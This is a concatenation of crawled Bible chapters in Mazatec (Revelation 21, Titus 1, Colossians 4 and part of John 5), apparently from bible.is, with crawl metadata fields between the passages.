xi̱ta̱ xi tsakjón, jñà xi mìkiì mokjeiín‑la̱, jñà xi 'ñó ch'o s'ín, jñà xi xi̱ta̱ sík'en, jñà xi kjoa̱ chijngui s'ín, jñà xi xi̱ta̱ tj'e, jñà xi xkósòn beèxkón, ngats'iì xi 'én ndiso chja̱, ján ki̱xo̱jiìn ñánda títì ni'ín jnga̱ ko̱ azufre; jè xi ma‑ne jò kjoa̱biyaà. 9J'iìkon jngoò‑na̱ àkja̱le̱ jñà xi itoò ma‑ne, xi ti̱koa̱ itoò chi̱tsín tjín‑la̱, xi jncha kitseè xi itoò kjo̱'in xi fehet'aà‑ne. Kitsò‑na̱: ―Nchroboí, kokoò‑lè jè xi ko̱ma chjo̱ón‑la̱ Orrè. 10I̱t'aà ts'e̱ Ini̱ma̱ Tsjeè‑la̱ Nainá, jè àkja̱le̱ kiìko̱ ini̱ma̱‑na̱ jngoò nindoò xi je kji ko̱ 'nga kji. Tsakó‑na jè na̱xa̱ndá xi je kji, na̱xa̱ndá tsjeè Jerusalén nga tínchrobájen‑ne ngajmiì nga nguixko̱n Nainá. 11Jè na̱xa̱ndá tsjeè Jerusalén, oteé tsejèn xi kjoa̱ ts'e̱ kjoa̱jeya‑la̱ Nainá. K'oa̱á s'ín ote kji koni nda̱jo̱ chjí xi 'ñó ndaà kjoàn, koni nda̱jo̱ xi jaspe 'mì nga ote kji koni chi̱tsín. 12Nga jngoò itjandiì, jè na̱xa̱ndá, chrjó nda̱jo̱ tjíndiì‑la̱ xi 'ñó je kji ko̱ 'ñó 'nga kji. Tejò xotjoa̱ tjín‑la̱. Nga jngoò ìjngoò xotjoa̱, jngoò àkja̱le̱ síjnajto. Ti̱koa̱ ya̱ tjít'aà 'ín‑la̱ nga tejò na̱xa̱ndá xi ya̱ inchrobàt'aà‑ne i̱xti‑la̱ Israel. 13Ya̱ kixi̱‑la̱ ñánda bitjokàjiìn‑ne ts'oí, jàn xotjoa̱ tjín‑la̱, ya̱ kixi̱‑la̱ ñánda kahatji‑ne ts'oí, jàn xotjoa̱ tjín‑la̱. Ya̱ norte, ti̱koa̱á jàn xotjoa̱ tjín‑la̱, ya̱ sur, ti̱koa̱á jàn xotjoa̱ tjín‑la̱. 14Jè chrjó nda̱jo̱ xi tjíndiì‑la̱ na̱xa̱ndá, tejò chrjó nda̱jo̱ xi ya̱ tjít'aà nga tejò 'ín‑la̱ xi̱ta̱ xi tejò ma‑ne xi i̱t'aà ts'e̱ Orrè kisìxáya‑la̱. 15Jè àkja̱le̱ xi tíchja̱ko̱‑na, jngoò ki̱cha̱ kjinaya tsja xi nguì oro xi koni kji yá xi ma machi̱ba̱‑ne. Jè kisìkjeén nga ma kisìchi̱ba̱ na̱xa̱ndá ko̱ xotjoa̱‑la̱ ko̱ chrjó nda̱jo̱‑la̱. 16Jè na̱xa̱ndá k'oa̱á s'ín kijna nga ñijòn chrja̱ngui̱ tjín‑la̱. Koni kji ndojò, k'oa̱á ti̱ kji tiyà‑ne. Jè àkja̱le̱, k'e̱ nga kisìchi̱ba̱, jò jmiì ko̱ jò sìndo̱ kilómetro tjín‑la̱. Ngásòn chi̱ba̱ tjín‑la̱ nga ndojò ko̱ nga tiyà ko̱ nga 'nga. 17I̱kjoàn kisìchi̱ba̱ jè chrjó nda̱jo̱. Jngoò sìndo̱ ko̱ ichán ñijòn xkó tsja tjín‑la̱ xi chi̱ba̱‑la̱ xi̱ta̱ xi tísíkjeén jè àkja̱le̱, [jè xi ichán nanga tjín‑ne]. 18Jè chrjó nda̱jo̱ xi tjíndiì‑la̱ na̱xa̱ndá, koií tjíndaà‑ne nda̱jo̱ chjí xi 'mì jaspe. Ko̱ jè na̱xa̱ndá, nguì oro sobà‑né. K'oa̱á s'ín ote kji koni chi̱tsín tsjeè. 19Jñà tàts'en chrjó xi tjíndaà‑ne nga tíchjoàndiì‑la̱ na̱xa̱ndá, nguì nda̱jo̱ chjí yijàjno xi 'ñó ndaà kjoàn. Jè xi ítjòn, jè nda̱jo̱ xi 'mì jaspe; xi ma‑ne jò, nda̱jo̱ xi 'mì zafiro; xi ma‑ne jàn, nda̱jo̱ xi 'mì ágata; xi ma‑ne ñijòn, nda̱jo̱ xi 'mì esmeralda; 20xi ma‑ne 'òn, nda̱jo̱ xi 'mì ónice; xi ma‑ne joòn, nda̱jo̱ xi 'mì cornalina; xi ma‑ne itoò, nda̱jo̱ xi 'mì crisólito; xi ma‑ne jiìn, nda̱jo̱ xi 'mì berilo; xi ma‑ne ñijaàn, nda̱jo̱ xi 'mì topacio; xi ma‑ne te, nda̱jo̱ xi 'mì crisoprasa; xi ma‑ne tejngoò, nda̱jo̱ xi 'mì jacinto; xi ma‑ne tejò, nda̱jo̱ xi 'mì amatista. 21Jñà xotjoa̱ xi tejò ma‑ne, tejò nda̱jo̱ perla tjíndaà‑ne. Nga jngoò ìjngoò xotjoa̱ jngoò perla tjíndaà‑ne. Ndi̱yá teè‑la̱ na̱xa̱ndá, nguì oro sobà‑né koni chi̱tsín xi ma chítsejèn‑ya. 22Ya̱ i̱jiìn na̱xa̱ndá, ni̱jngoò i̱ngo̱ kìjtseè; nga jè sobà xi ma i̱ngo̱‑la̱ na̱xa̱ndá, jè Nainá xi tíjna ítjòn nga ta jè ta̱jngoò‑né xi 'ñó tse nga'ñó tjín‑la̱ ko̱ jè Orrè. 23Jè na̱xa̱ndá, mìkiì mochjeén‑la̱ jè ts'oí ko̱ sá nga si̱ìhiseèn‑la̱. Nga jè sobà kjoa̱ i̱sén‑la̱ Nainá síhiseèn‑la̱; ko̱ jè Orrè ma ni'ín‑la̱. 24Ngats'iì jñà xi̱ta̱ na̱xa̱ndá ts'e̱ i̱sò'nde kinchima iseèn‑né i̱t'aà ts'e̱ ni'ín‑la̱. Ko̱ jñà xi̱ta̱xá ítjòn xi tjín i̱sò'nde, kji̱ko̱ kjoa̱nchi̱ná‑la̱ nga ya̱ si̱ìnga̱tsja. 25Jñà xotjoa̱‑la̱ na̱xa̱ndá, mìkiì si̱chjoàjto nga kjit'aà na̱chrjein; nga ya̱ na̱xa̱ndá, mìkiì ko̱jñò. 26Ngats'iì na̱xa̱ndá kjoi̱ko̱ ngats'iì kjoa̱ nchi̱ná‑la̱ ko̱ ngats'iì tsojmì xi 'ñó chjí‑la̱ nga ya̱ si̱ìnga̱tsja. 27Ya̱ i̱'nde jè ni̱mé kjoa̱has'en xi tjé kjoàn xi ch'o s'ín ko̱ xi kjoa̱ ndiso. Tà jñà kjoa̱has'en xi tjít'aà 'ín‑la̱ jè xo̱jo̱n‑la̱ Orrè xi ts'e̱ kjoa̱binachon.\nApocalipsis 21","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASJV\/Rev\/21","date":"2013-12-10T13:04:38Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164019123\/warc\/CC-MAIN-20131204133339-00045-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.00000453,"language_script":"Latn","minhash_cluster_size":25,"top_langs":"{\"maa_Latn_score\": 1.000004529953003}","num_words":821,"character_repetition_ratio":0.081,"word_repetition_ratio":0.0,"special_characters_ratio":0.232,"stopwords_ratio":0.326,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1'A̱n, Pablo, xi chi̱'nda‑la̱ Nainá ma. Ti̱koa̱ 'a̱n tsibíxáya‑na Na̱'èn‑ná Jesucristo mé‑ne nga ko̱kjeiín‑la̱ i̱t'aà ts'e̱ Cristo jñà xi̱ta̱ xi xó jè Nainá jaàjiìn‑ne, ti̱koa̱ skoe̱ xi kjoa̱kixi̱ nga ko̱ma‑la̱ skoe̱xkón Nainá. 2Xi̱ta̱ koi k'oa̱á s'ín ko̱mat'in nga tíjngoò ikon nga nchikoña‑la̱ nga kítsa̱jnakon ini̱ma̱‑la̱ ni̱ta̱ kjé‑ne koni s'ín kitsjaà tso'ba Nainá skanda k'e̱ nga ti̱kj'eè sindaà i̱sò'nde. Nainá mìkiì kona̱cha̱n. 3K'e̱ nga jye ijchò na̱chrjein, Nainá kisìkatsejèn 'én‑la̱ i̱t'aà ts'e̱ 'én ndaà‑la̱ Nainá xi kjoa̱ ts'e̱ Cristo xi 'a̱n chjàya. Na̱'èn‑ná kisìnga̱tsja‑na xá jè nga k'oa̱á s'ín tsatíxoma Nainá xi ochrjekàjiìn‑ná kjo̱'in. 4Ngaji̱, Tito, koni tsà ki'ndí ts'a̱n xan‑lè nga ngásòn mokjeiín‑ná i̱t'aà ts'e̱ Cristo, tìsìkasén‑lè xo̱jo̱n jè. Nainá xi Na̱'èn‑ná ko̱ Na̱'èn‑ná Jesucristo xi ochrjekàjiìn‑ná kjo̱'in kàtatsjá‑lè kjo̱ndaà‑la̱, kàtahi̱ma̱keè‑lè, ti̱koa̱ 'nchán kàtasíkíjna ini̱ma̱‑lè. 5Koií xá kisìkíjna‑lè ján nangui Creta nga sikixi̱yi xá xi chijat'aà‑ìsa. K'oa̱á ti̱s'ín tsatíxoma‑lè nga ki̱nchandeiì xi̱ta̱ jchínga xi si̱ìkinda̱ na̱xa̱ndá‑la̱ Nainá nga jngoò ìjngoò na̱xa̱ndá. 6Xi̱ta̱ jchínga xi si̱ìkitasòn xá, jñà‑né xi ndaà nchisíjchá yijo‑la̱ nga mì yá xi ch'o ki̱tso̱‑la̱; xi jngoò ma chjo̱ón‑la̱. Ko̱ jñà i̱xti‑la̱ mochjeén‑né nga ndaà mokjeiín‑la̱ i̱t'aà ts'e̱ Cristo nga mìtsà yá xi̱ta̱ ónè‑la̱ kjoa̱ nga kjoa̱ská tjímajiìn ko̱ nga mìkiì 'nchréñijon. 7Jè xi̱ta̱ xi síkinda̱ na̱xa̱ndá‑la̱ Nainá xi xá‑la̱ Nainá síkitasòn, mochjeén‑né nga ndaà s'i̱in mé‑ne nga ni̱yá xi ch'o ki̱tso̱‑la̱. Mìkiì mochjeén nga 'nga ikon ko̱ma; mì ta̱xki̱ ko̱jti‑la̱; mì xán ko̱hijtako̱; mì xi̱ta̱ ska̱àn‑ko̱; ko̱ mì to̱n chijé ko̱tsjakeè. 8Ta̱ sa̱á ndaà kàtasís'in‑la̱ xi̱ta̱ xi bijchókon. Kàtamatsjakeè kjoa̱ xi ndaà tjín. Indaà kàtìjna ikon. Kixi̱ kàtìjnako̱ xi̱ta̱. Tsjeè kàtasíjchá yijo‑la̱ nga nguixko̱n Nainá, ndaà kàtasíkinda̱ yijo‑la̱ nga mì ta̱xki̱ s'i̱in. 9Ndaà kàtíjiìn ikon 'én kixi̱ koni s'ín kis'eno̱jmí‑la̱ mé‑ne nga i̱t'aà ts'e̱ 'én ndaà xi ko̱kòya ko̱ma ki̱ìtin‑la̱ xi̱ta̱ nga 'ñó kàt'eé‑la̱ ikon ti̱koa̱ ko̱ma si̱ìkixi̱ya xi kondra̱ fìtji̱ngui‑la̱ xi kjoa̱kixi̱. 10Koií kjoa̱‑la̱ tjín jchán xi̱ta̱ xi tájaàjiìn nga okóya 'én xi ni̱mé chjí‑la̱ ti̱koa̱ kona̱cha̱n‑la̱ xi̱ta̱ xi kj'ei̱í; ko̱ ti̱jñà‑ne xi 'ñó bínè‑la̱ xi̱ta̱ xi kj'ei̱í nga kjo̱'ñó si̱t'aà chi̱ba̱‑la̱ yijo‑la̱ kjoa̱ ts'e̱ circuncisión. 11Jñà xi̱ta̱ koi mochjeén‑né nga kíchjoà'a nga sískáya‑la̱ ngats'iì xi̱ta̱ xi títsa̱jna nga jngoò ìjngoò ni'ya. Tà jè xi mejèn‑la̱ nga to̱n síchijét'aà‑la̱ xi̱ta̱ nga k'oa̱ tjín 'én xi okóya xi ni̱mé chjí‑la̱. 12Jngoò xi̱ta̱ chji̱ne̱ xi ti̱ya̱‑ne i̱'nde‑la̱ Creta k'oa̱á kitsò‑la̱ xi̱ta̱ xíkjín: \"Jñà xi̱ta̱ Creta, xi̱ta̱ ndiso‑né, xi̱ta̱ ts'e̱n‑né koni tsà cho̱ ijñá, xi̱ta̱ chrjá'a‑né, xi̱ta̱ ts'eè‑né.\" 13'Én kixi̱í xi kiìchja̱ xi̱ta̱ jè; ngaji̱, Tito, koií kjoa̱‑la̱ 'ñó ti̱nókjoa̱koi̱i mé‑ne nga ndaà kítsa̱jnako̱‑ne koni s'ín mokjeiín‑la̱ i̱t'aà ts'e̱ Cristo, 14koa̱ mé‑ne nga mì jñà si̱ìs'in‑la̱ cuento xi nìmé chjí‑la̱ xi fìtji̱ngui i'nga‑la̱ xi̱ta̱ judío ti̱koa̱ mì jñà si̱ìs'in‑la̱ kjo̱tíxoma ts'e̱ xi̱ta̱ xi binchat'aàxìn‑la̱ kjoa̱kixi̱. 15Jñà xi̱ta̱ xi tsjeè tjín kjo̱hítsjeèn‑la̱ tsjeè yije ma‑la̱ ni̱ta̱ mé‑ne. Ta̱nga jñà xi̱ta̱ xi mì tsjeè tjín kjo̱hítsjeèn‑la̱ koa̱ mìkiì mokjeiín‑la̱ i̱t'aà ts'e̱ Cristo, sa̱á tjé yije ma‑la̱ ni̱ta̱ mé‑ne; skanda jè ini̱ma̱‑la̱ ko̱ kjo̱hítsjeèn‑la̱ tjé tjín. 16K'oa̱á tsò nga beèxkon Nainá ta̱nga jñà kjoa̱ xi s'ín 'yaá‑la̱ nga mìtsà kixi̱ kjoa̱. Xi̱ta̱ koi, 'ñó ch'o s'ín, mìkiì 'nchréñijon, ti̱koa̱ ni̱mé chjí‑la̱ nga ni̱jngoò ma‑la̱ síkitasòn xá xi ndaà tjín.\nTito Array","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASJV\/Titus\/","date":"2013-12-08T19:42:08Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163800358\/warc\/CC-MAIN-20131204133000-00032-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000089407,"language_script":"Latn","minhash_cluster_size":49,"top_langs":"{\"maa_Latn_score\": 1.0000089406967163}","num_words":509,"character_repetition_ratio":0.074,"word_repetition_ratio":0.0,"special_characters_ratio":0.218,"stopwords_ratio":0.332,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Jiòn ra ni‑la̱ xá ma, nda jchatjò jñà xi̱ta̱ chi̱'nda‑no koni 'sín tjín ra kjoa̱kixi̱; nga̱ jiòn, 'ya‑nó nga ti̱'koa̱á tíjna jngo‑no ra Ni‑no ma ya̱ ján ngajmi. 2Ti̱tsa̱nda ki'ta 'kia̱ nga kítsa'ba; kì ni̱kjiá bìkjòn‑la nga nakjoá'ta‑la Nainá; ko̱ ko̱'tìn ki'ta‑la nga tse kjo̱nda kata'se‑la̱ ra jè. 3'Koa̱á ti̱'sín titsa'batjì‑náji̱n mé‑ni nga jè Na̱'ín‑ná katakjí'xa̱'nde‑ni nga ko̱ma 'kéna̱jmí‑ji̱n jè 'én‑la̱ ko̱ mé‑ni nga ma ko̱kón‑naji̱n jè 'én ra tjí'ma a̱'ta 'tse̱ Cristo nga 'sa̱ ítjòn, jè ra ta kií kjoa̱‑ni nga nda̱yá tíjna̱'ya. 4Titsa'batjì‑nájiòn mé‑ni nga 'se̱‑na nga'ñó nga nda kjón‑ní kixi̱ kichjàyajin‑la̱ xi̱ta̱ koni 'sín nga tjínè‑la̱ nga kichjà. 5Nda kjón ti̱chjeén ni̱chjin ra titsa̱hijyo nga nda tjahíko̱o kjo̱bítsjen‑no ya̱ a̱jin‑la̱ xi̱ta̱ ra kjè kì be 'én‑la̱ Nainá. 6'Kia̱ nga jchi̱ko̱o xi̱ta̱, jñà ti̱chjeén 'én ra nda tsò ko̱ ra nda sasén‑la̱. 'Koa̱á 'sín ko̱ma‑ni nga sa̱kò‑no 'én kó'sín nga 'kín‑la̱ tsa 'kia̱ mé 'én ra sko̱nangi‑no. 7Nga'tsì mé kjoa̱ ra tíma'tiaa̱n, jé ko̱ki̱tso̱‑no jè 'ndsé Tíquico ra ti̱'koa̱ tsjacha‑ji̱n ra nda tíbasìko̱‑na nga nda níxákjo‑la̱ji̱n Na̱'ín‑ná. 8Kií xá tísikásén‑no nga jè 'ke̱èna̱jmí‑no ra a̱'ta tsa̱ji̱n kó'sín titsa̱jna‑ji̱n, ko̱ jé si̱ìjetakòn‑no nga 'se̱‑la̱ nga'ñó inìma̱‑no. 9Ti̱'koa̱á ya̱á tíbáhijtako̱‑te jè Onésimo jè ra xi̱ta̱ xàngio̱o ma, jngo 'ndsé ra xi̱ta̱ kixi̱ ra 'ñó tsjacha‑ji̱n. Jñà 'ke̱èna̱jmí‑no mé ta̱ kjoa̱ ra tíma i̱jndíi̱. 10Jè Aristarco ra ta̱ña titsa̱jna'ya‑ji̱n nda̱yá, tísíhixo'tá‑no, ko̱ ti̱'koa̱ tísíhixo'tá‑no jè Marcos ra ti xákjén ma Bernabé; nga̱ ijyeé a̱sa ijchò jngo‑no xa̱jo̱n a̱'ta 'tse̱ Marcos; tsa 'kia̱ nga ki̱jchòjkon‑no, nda chjíbétjò. 11Ti̱'koa̱á tísíhixo'tá‑no Jesús ra ti̱'koa̱á Justo 'mì‑te. Ta jñà‑nì 'ndsé kìi̱ ra xi̱ta̱ judío ra ko̱'sín nda i̱nchisíxáko̱‑na a̱'ta 'tse̱ kjo̱téxoma‑la̱ Nainá, ko̱ nda i̱nchitsjá nga'ñó‑na. 12Jè chi̱'nda‑la̱ Cristo ra 'mì Epafras ra xi̱ta̱ xàngio̱o ma, tísíhixo'tá‑te‑no. Kji'tá ni̱chjin nga 'ñó bítsa'ba ra a̱'ta tsa̱jiòn‑jiòn 'kia̱ nga chja̱'ta‑la̱ Nainá. 'Koa̱á 'sín síjé nga ngi kixi̱ ki̱tsa̱jna ki'tà ko̱ ngi nda kjón‑ní katasijin‑no mé kjòn‑ni ra mejèn‑la̱ Nainá ra a̱'ta tsa̱jiòn. 13'A̱n ndaá tíbe kó'sín nga jè Epafras 'ñó makájno‑la̱ ra a̱'ta tsa̱jiòn ko̱ makájnoó‑te‑la̱ a̱'ta 'tse̱ 'ndsé ra títsa̱jna ya̱ na̱xi̱ndá Laodicea ko̱ ra títsa̱jna ya̱ na̱xi̱ndá Hierápolis. 14Tísíhixo'tá‑no jè chji̱ne̱xki ra 'mì Lucas ra 'ñó tsjacha‑ji̱n; ko̱ jè Demas. 15Ra a̱'ta tsa̱'a̱n ti̱hixo'tá‑ná jñà 'ndsé ra títsa̱jna ya̱ na̱xi̱ndá Laodicea. Ko̱ ti̱hixo'ta‑te‑ná jè Ninfa ko̱ nga'tsì xi̱ta̱ na̱xi̱ndá‑la̱ Cristo ra ya̱ maxkóya ya̱ ni'ya‑la̱. 16'Kia̱ nga ijye ya̱ chjítá'yá ya̱ a̱jin‑la̱ xàngio̱o jè xa̱jo̱n ra̱kìi̱, ti̱kasén‑la̱ jñà xi̱ta̱ na̱xi̱ndá‑la̱ Cristo ra títsa̱jna ya̱ Laodicea mé nì nga ti̱'koa̱ katakotá'yá‑ni; ko̱ jè xa̱jo̱n ra 'tse̱ na̱xi̱ndá Laodicea ti̱'koa̱á chjítá'yá‑te ra jiòn. 17Ko̱'tìn‑la̱ jè Arquipo: nda katasíhitjasòn jè xá ra kitsjà‑la̱ Cristo. 18'Koa̱á 'sín tísixó'tà‑no 'a̱n ra 'mì‑na Pablo. Ndsa̱ sabá tíbindá‑na ñánda̱ nga fehe'ta‑ni xa̱jo̱n ra̱kìi̱. Ti̱kítsjen nga nda̱yá tíjna̱'ya. Nainá katasíchikon'tin‑no. Ko̱'sín katama.\nColosenses 4","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASAV\/Col\/4","date":"2013-12-06T21:10:29Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163052593\/warc\/CC-MAIN-20131204131732-00036-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000072718,"language_script":"Latn","minhash_cluster_size":24,"top_langs":"{\"maa_Latn_score\": 1.0000072717666626}","num_words":450,"character_repetition_ratio":0.065,"word_repetition_ratio":0.0,"special_characters_ratio":0.235,"stopwords_ratio":0.318,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1K'e̱ nga jye k'oa̱s'ín komà kjoa̱ koi, nga komà i̱skan, jñà xi̱ta̱ judío tsibíjna jngoò s'eí ján Jerusalén. Jesús kiì ìjngoò k'a ján Jerusalén. 2Ya̱ Jerusalén tíjna jngoò chrjó nandá xi 'mì Betesda nga 'én hebreo. 'Òn ma nguitjoa̱ xi tjín‑la̱. Ya̱á tíjna chrañàt'aà‑la̱ xotjoa̱ ts'e̱ orrè. 3Ya̱ nguitjoa̱‑la̱ kjìn xi̱ta̱ xk'én kjiyijòngui: xi mìkiì tsejèn‑la̱, xi tsá'yá kjoàn, xi mìkiì ma síkjaníyá. Ngats'iì xi̱ta̱ koi nchikoña‑la̱ k'e̱ nga síjtìya‑la̱ nandá xi 'ncha jè chrjó. 4Jngoò àkja̱le̱‑la̱ Nainá xi tà kjé tà kjé bitjojen‑ne nga síjtìya‑la̱ nandá. Jè xi̱ta̱ xk'én xi fahas'en‑jiìn ítjòn nandá, k'e̱ nga jye jtìya‑la̱, ni̱to̱ón mandaà‑ne ni̱ta̱ mé ch'in xi tjín‑la̱. 5Ya̱ kijnajiìn jngoò xi̱ta̱ xi jye tjín‑la̱ kaàn chrj'oòn jàn nó nga xk'én. 6Jesús, k'e̱ nga kijtseèxkon nga ya̱ kijna, kisijiìn‑la̱ nga jyeé 'ñó kjòtseé xk'én. Kitsò‑la̱: ―¿A mejèn‑lè ko̱ndaà‑ne? 7Jè xi̱ta̱ xk'én, kitsò: ―Na̱'èn, mì yá xi síchját'aà‑na nga kinís'en‑jiìn‑na k'e̱ jtìya‑la̱ nandá. 'A̱n, k'e̱ nga mejèn‑na fahas'en‑jñà, kj'ei̱í xi̱ta̱ síkijne‑na nga fahas'en‑jiìn ítjòn. 8Jesús kitsò‑la̱: ―Ti̱sítji̱in, chjoí nijñaà‑lè, ti̱tjájmiì. 9Xi̱ta̱ jè ni̱to̱ón kjòndaà‑ne, kiskoé‑ne nijñaà‑la̱, komà tsajmeè‑ne. Na̱chrjein jè, na̱chrjein nìkjáya‑né. 10Jñà xi̱ta̱ judío kitsò‑la̱ jè xi̱ta̱ xi kjòndaà‑ne: ―Na̱chrjein i̱'ndei̱, na̱chrjein nìkjáya‑né. Mìkiì tjí'nde‑lè nga kíkoi̱i nijñaà‑lè. 11Xi̱ta̱ jè kitsò: ―Jè xi̱ta̱ xi kàsìndaà‑na̱, jè sobà xi ko̱kàtsò‑na: \"Chjoí nijñaà‑lè, ti̱tjájmiì.\" 12Jñà xi̱ta̱ koi kiskònangui‑la̱, kitsò‑la̱: ―¿Yá‑né xi o̱kàtsò‑lè: \"Chjoí nijñaà‑lè, ti̱tjájmiì\"? 13Jè xi̱ta̱ xi jyeé kjòndaà‑ne mìkiì beèxkon yá xi̱ta̱‑ne xi kisìndaà‑ne nga jè Jesús jyeé xìn kiì nga itjokàjiìn‑la̱ xi̱ta̱ xi kjìn ma‑ne xi ya̱ títsa̱jna. 14Xi komà i̱skan, Jesús kisatiìkjoò ìjngoò k'a xi̱ta̱ jè ya̱ i̱ya i̱ngo̱, kitsò‑la̱: ―Jyeé kòmandaà‑ne; ta̱nga kì ti̱ jé binchaàtsji‑ne, mé‑ne nga mì ìsa̱ ch'o tjín kjoa̱ xi ko̱mat'in. 15Xi̱ta̱ jè kiìkon jñà xi̱ta̱ judío, tsibéno̱jmí‑la̱ nga jè Jesús xi kisìndaà‑ne. 16Jñà xi̱ta̱ judío kiìtji̱ngui kondra̱‑la̱ Jesús, mejèn‑la̱ si̱ìk'en koií kjoa̱‑la̱ nga k'oa̱s'ín s'ín k'e̱ nga na̱chrjein nìkjáya. 17Ta̱nga Jesús kitsò‑la̱: ―Na̱'èn‑na̱ skanda na̱chrjein i̱'ndei̱ k'oa̱á tjín xá xi tís'ín, ti̱koa̱á 'a̱n k'oa̱á ti̱s'ín tìs'iaàn. 18K'oa̱á ma‑ne jñà xi̱ta̱ judío ìsa̱á 'ñó ndaà kiìtji̱ngui kondra̱‑la̱ Jesús nga mejèn‑la̱ si̱ìk'en. Mìtsà tà koií kjoa̱‑la̱ nga mìkiì beèxkón na̱chrjein nìkjáya, ti̱koa̱á koií‑né nga jè Jesús Na̱'èn‑na̱ tsò‑la̱ Nainá. K'oa̱á s'ín tísíngásòn‑kjoò yijo‑la̱ koni Nainá nga k'oa̱ tsò. 19Jesús kitsò‑la̱: ―Xi nguì o̱kixi̱ xi xan‑nò, 'a̱n xi Ki'ndí‑la̱ Nainá nì mé kjoa̱ xi s'iaàn xi tà kjo̱hítsjeèn ts'a̱n. Tà koií kjoa̱ s'iaàn xi be koni s'ín Na̱'èn‑na̱. Ngats'iì kjoa̱ xi s'ín Na̱'èn‑na̱, 'a̱n xi Ki'ndí ma, k'oa̱á ti̱s'ín s'iaàn. 20Jè xi Na̱'èn‑na̱ ma, 'ñó tsjakeè‑na nga Ki'ndí‑la̱ tsò‑na; okó yije‑na̱ mé xi s'iaàn. Ko̱kò‑ìsa‑na kjoa̱ xi ìsa̱ 'ñó xkón tjín, mé‑ne jñò, k'e̱ nga jcha̱a, ìsa̱ 'ñó ndaà ko̱xkón‑nò. 21Koni s'ín s'ín Nainá nga síkjaáya‑la̱ mik'en ko̱ síkítsa̱jnakon ini̱ma̱‑la̱ ni̱ta̱ kjé‑ne, 'a̱n xi Ki'ndí‑la̱ ma, k'oa̱á ti̱s'ín tsjaà‑la̱ kjoa̱binachon yá‑né xi mejèn‑na nga tsjaà‑la̱. 22Jè xi Na̱'èn‑na ma, mìtsà jè bíndaàjiìn‑la̱ xi̱ta̱, 'a̱n‑ná xi Ki'ndí‑la̱ ma kisìnga̱tsja yije‑na kjo̱tíxoma nga ko̱ma kìndaàjiìn‑la̱ xi̱ta̱, 23mé‑nè ngats'iì xi̱ta̱ skoe̱xkón‑na nga Ki'ndí‑la̱ ma koni s'ín beèxkón Na̱'èn‑na̱. Jè xi mìkiì beèxkón‑na nga Ki'ndí‑la̱ ma, ti̱koa̱á mìkiì beèxkón Na̱'èn‑na̱ nga jè kisìkasén‑na. 24'Xi nguì o̱kixi̱, k'oa̱á xan‑nò: Jè xi 'nchré 'én‑na̱ koni s'ín chjà, ti̱koa̱ mokjeiín‑la̱ i̱t'aà ts'e̱ xi kisìkasén‑na̱, tjín‑la̱ kjoa̱binachon ni̱ta̱ kjé‑ne. Mìtsà kjo̱'in si̱nè‑la̱, jyeé itjokàjiìn kjo̱'in ts'e̱ kjoa̱ biyaà, jyeé tíjnakon ini̱ma̱‑la̱ i̱t'aà ts'e̱ Nainá. 25Xi nguì o̱kixi̱ xi xan‑nò: Nchrobá na̱chrjein, ti̱jè‑ne hora jè, k'e̱ nga jñà mik'en kji̱'nchré jta̱‑na̱ xi Ki'ndí‑la̱ Nainá ma; jñà xi kji̱'nchré jta̱‑na̱, kítsa̱jnakon‑né. 26Jè Na̱'èn‑na̱, ti̱jè‑ne xi kjoa̱binachon; ko̱ 'a̱n xi Ki'ndí‑la̱ ma, k'oa̱á ti̱s'ín kitsjaà‑na nga ti̱'a̱n‑na xi kjoa̱binachon. 27Ti̱koa̱á kitsjaà‑na kjo̱tíxoma nga 'a̱n kìndaàjiìn‑la̱ xi̱ta̱, nga 'a̱n‑ná xi Ki'ndí‑la̱ Xi̱ta̱ xan‑la̱ yijo‑na̱. 28Kì maxkón‑nò 'én koi, ki̱jchò na̱chrjein k'e̱ nga ngats'iì xi̱ta̱ xi títsa̱jnak'en ján ínchíbá mik'en kji̱'nchré‑la̱ jta̱‑na̱. 29Ko̱sítje̱n ìjngoò k'a‑ne ya̱ nga̱jo̱ mik'en. Jñà xi̱ta̱ xi ndaà kis'iìn, kjoa̱áya‑la̱ nga s'e̱‑la̱ kjoa̱binachon, ta̱nga jñà xi̱ta̱ xi ch'o kis'iìn, kjoa̱áya‑la̱ nga s'e̱‑la̱ kjo̱'in. 30Jesús kitsò: ―'A̱n, nì mé xi s'iaàn xi ta̱ kjo̱hítsjeèn ts'a̱n. K'oa̱á s'ín bìndaàjñaà koni s'ín tsò‑na̱ Na̱'èn‑na̱. Kixi̱í bìndaàjñaà; mìtsà k'oa̱s'ín s'iaàn koni s'ín mejèn‑na̱. K'oa̱á s'ín s'iaàn koni s'ín mejèn‑la̱ Na̱'èn‑na̱ xi kisìkasén‑na̱. 31Tsà ti̱'a̱n tsjaà‑na̱ 'én xi i̱t'aà ts'a̱n, 'én xi tsjaà, jñò kixón‑nò: \"Nì mé chjí‑la̱.\" 32Ta̱nga tjín jngoò xi kj'ei̱í xi tsjá 'én xi i̱t'aà ts'a̱n, be‑ná nga jè 'én xi tsjá i̱t'aà ts'a̱n, nguì 'én kixi̱‑né. 33Jñò kinìkasén‑la̱ xi̱ta̱ Juan nga kiskònangui‑la̱. Jè Juan, kitsjaà kixi̱ 'én xi i̱t'aà ts'a̱n. 34Mìtsà kjo̱'ñó tjínè‑la̱ nga kj'ei̱í xi̱ta̱ tsjá 'én xi i̱t'aà ts'a̱n, koií k'oa̱ xan‑nò mé‑ne nga ki̱tjokàjñoò kjo̱'in kjoa̱ ts'e̱ jé. 35Juan k'oa̱s'ín ngaya‑la̱ koni jngoò ni'ín xi títì nga síhiseèn, ta̱nga jñò tà chiba na̱chrjein kinìtsjako̱o kjoa̱ iseèn‑la̱. 36Jè xá xi tìs'iaàn, ìsa̱ 'ñó 